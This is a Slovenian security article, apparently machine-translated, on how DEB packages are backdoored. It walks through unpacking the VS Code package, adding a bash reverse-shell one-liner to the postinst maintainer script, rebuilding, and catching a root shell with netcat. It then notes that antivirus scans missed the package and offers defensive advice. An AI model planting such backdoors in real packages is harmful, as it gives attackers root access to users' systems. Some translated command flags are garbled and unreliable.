Ali ste vedeli, da lahko napadalci spremenijo skripte, zapakirane v datoteko DEB, da pridobijo nepooblaščen dostop do vašega računalnika? Tukaj je opisano, kako potekajo zakulisna vrata paketov DEB.
Ključni zaključki
- Pakete DEB je mogoče zlahka narediti zakulisna vrata, kar napadalcem omogoči, da v vaš sistem vbrizgajo zlonamerno kodo, ko jih namestite s korenskimi dovoljenji.
- Okužene pakete DEB je težko zaznati, saj jih protivirusna programska oprema ali rešitve v oblaku, kot je VirusTotal, morda ne bodo označile.
- Da se zaščitite, se izogibajte prenašanju paketov DEB z naključnih spletnih mest, držite se uradnih spletnih mest za prenos oz spletna mesta, ki jim zaupa skupnost, in razmislite o namestitvi varnostnih orodij za zaščito vašega sistema Linux pred omrežjem napadi.
Datoteke DEB so programski paketi, ki so primarna oblika pošiljanja programske opreme v distribucijah Linuxa, ki temeljijo na Debianu.
Če želite namestiti pakete DEB, morate uporabiti upravitelja paketov, kot je dpkg, s korenskimi dovoljenji. Napadalci to izkoristijo in v te pakete vbrizgajo stranska vrata. Ko jih namestite z dpkg ali katerim koli drugim upraviteljem paketov, se zraven izvede tudi zlonamerna koda, ki ogrozi vaš sistem.
Raziščimo natančno, kako potekajo zakulisna vrata paketov DEB in kaj lahko storite, da se zaščitite.
Kako so paketi DEB zakriti?
Preden razumete, kako so paketi DEB zaprti, raziščimo, kaj je znotraj paketa DEB. Za predstavitev bom prenesel paket Microsoft Visual Studio Code DEB z uradnega Microsoftovega spletnega mesta. To je isti paket, ki bi ga prenesli, če želite namestiti kodo VS v Linux.
Prenesi:Koda Visual Studio
Zdaj, ko ste prenesli ciljni paket, je čas, da ga razpakirate. Paket DEB lahko razpakirate z uporabo dpkg-deb ukaz z -R zastavica, ki ji sledi pot za shranjevanje vsebine:
dpkg-deb -R
To bi moralo ekstrahirati vsebino paketa VS Code.
Ko se premaknete v mapo, boste našli več imenikov, vendar nas zanima le DEBIAN imenik. Ta imenik vsebuje vzdrževalne skripte, ki se izvajajo med namestitvijo s korenskimi pravicami. Kot ste morda že ugotovili, napadalci spreminjajo skripte v tem imeniku.
Za predstavitev bom spremenil postinst skript in dodajte preprosto enovrstično lupino Bash reverse TCP. Kot že ime pove, je to skript, ki se izvede po namestitvi paketa v sistem.
Vsebuje ukaze, ki dokončajo konfiguracije, kot so nastavitev simbolnih povezav, obravnava odvisnosti in drugo. Na internetu lahko najdete ogromno različnih obrnjenih lupin. Večina jih bo delovala enako. Tukaj je vzorec enovrstične obrnjene lupine:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Razlaga ukaza:
- bash: To je ukaz, ki prikliče lupino Bash.
- -jaz: Zastavica sporoči Bashu, naj deluje v interaktivnem načinu, ki omogoča V/I ukazov v realnem času.
-
>& /dev/tcp/ip/port: To preusmeri standardni izhod in standardna napaka v omrežno vtičnico, kar v bistvu vzpostavi povezavo TCP z
in . - 0>&1: To preusmeri vhod in izhod na isto lokacijo, tj. v omrežno vtičnico.
Za tiste, ki niso seznanjeni, je povratna lupina vrsta kode, ki, ko se izvede na ciljnem računalniku, sproži povezavo nazaj na napadalčev stroj. Obratne lupine so odličen način za izogibanje omejitvam požarnega zidu, saj se promet ustvarja iz stroja za požarnim zidom.
Tako je videti spremenjeni skript:
Kot lahko vidite, je vse enako, vendar je bila dodana samo ena vrstica, tj. naša obratna lupina Bash. Zdaj morate datoteke zgraditi nazaj v ".deb" format. Preprosto uporabite dpkg ukaz z --zgraditi označite ali uporabite dpkg-deb z -b zastavica, ki ji sledi pot ekstrahirane vsebine:
dpkg --build
dpkg-deb -b
Zdaj je zakulisni paket DEB pripravljen za pošiljanje na zlonamerna spletna mesta. Simulirajmo scenarij, v katerem je žrtev prenesla paket DEB v svoj sistem in ga namesti kot katerikoli drug običajni paket.
Zgornje terminalsko podokno je namenjeno POV žrtve, spodnje pa POV napadalca. Žrtev namešča paket z sudo dpkg -i in napadalec potrpežljivo posluša dohodne povezave z uporabo netcat ukaz v Linuxu.
Takoj ko se namestitev konča, opazite, da napadalec dobi povratno lupinsko povezavo in ima zdaj korenski dostop do žrtvinega sistema. Zdaj veste, kako potekajo zakulisna vrata paketov DEB. Zdaj pa se naučimo, kako se lahko zaščitite.
Kako odkriti, ali je paket DEB zlonameren
Zdaj, ko veste, da so okuženi paketi DEB stvar, se gotovo sprašujete, kako najti okužene. Za začetek lahko poskusite uporabiti a Protivirusna programska oprema za Linux kot ClamAV. Na žalost, ko je bil na paketu zagnan pregled ClamAV, ga ni označil kot zlonamernega. Tukaj je rezultat skeniranja:
Če torej nimate vrhunske protivirusne rešitve (kar ni zagotovilo, da vam ne bodo vdrli), je precej težko odkriti zlonamerne pakete DEB. Poskusimo uporabiti rešitev v oblaku, kot je spletno mesto VirusTotal:
Kot lahko vidite, VirusTotal ni zaznal ničesar narobe z njim. No, edini način, da se zaščitite pred takšnimi grožnjami, je, da upoštevate osnovno varnostno higieno, na primer, da ne prenašate datotek iz neznanih virov, preverjanje zgoščenosti datotekein na splošno izogibanje namestitvi sumljive programske opreme.
Internet je poln takih groženj. Edini način za brskanje, ne da bi pri tem izgubili podatke, je, da ste preudarni in brskate po zaupanja vrednih mestih. Poleg tega morate za Linux poskusiti ugotoviti, ali programska oprema, ki jo prenašate, vsebuje Različica AppImage saj so samostojni in jih je mogoče namestiti v peskovnik ter tako preprečiti stik z vašim sistemom.
Ne prenašajte paketov DEB z naključnih spletnih mest!
Paketi DEB sami po sebi niso slabi, vendar jih napadalci zlahka oborožijo in pošljejo nič hudega slutečim uporabnikom. Kot je prikazano, je mogoče paket DEB preprosto odpreti in spremeniti, da se doda koda po meri z le nekaj ukazi, zaradi česar je pogost vektor za pošiljanje zlonamerne programske opreme.
Vrhunske protivirusne rešitve ne ujamejo niti preprostih stranskih vrat v paketih DEB. Zato je najbolje, da igrate varno, pri brskanju po spletu upoštevate zdrav razum in vedno prenašate programsko opremo samo z uradnih spletnih mest za prenos ali spletnih mest, ki jim zaupa skupnost.
Zdaj, ko se zavedate varnostnih tveganj, ki jih prinaša namestitev paketov DEB z novih ali neznanih mest, morate biti pri nameščanju nove programske opreme previdni. Vendar pa ni dovolj samo biti previden, kaj nameščate. Tudi vaš sistem Linux je lahko tarča omrežnih napadov.
Če želite zagotoviti, da ste varni v primeru omrežnega napada, razmislite o namestitvi orodij za omrežno varnost.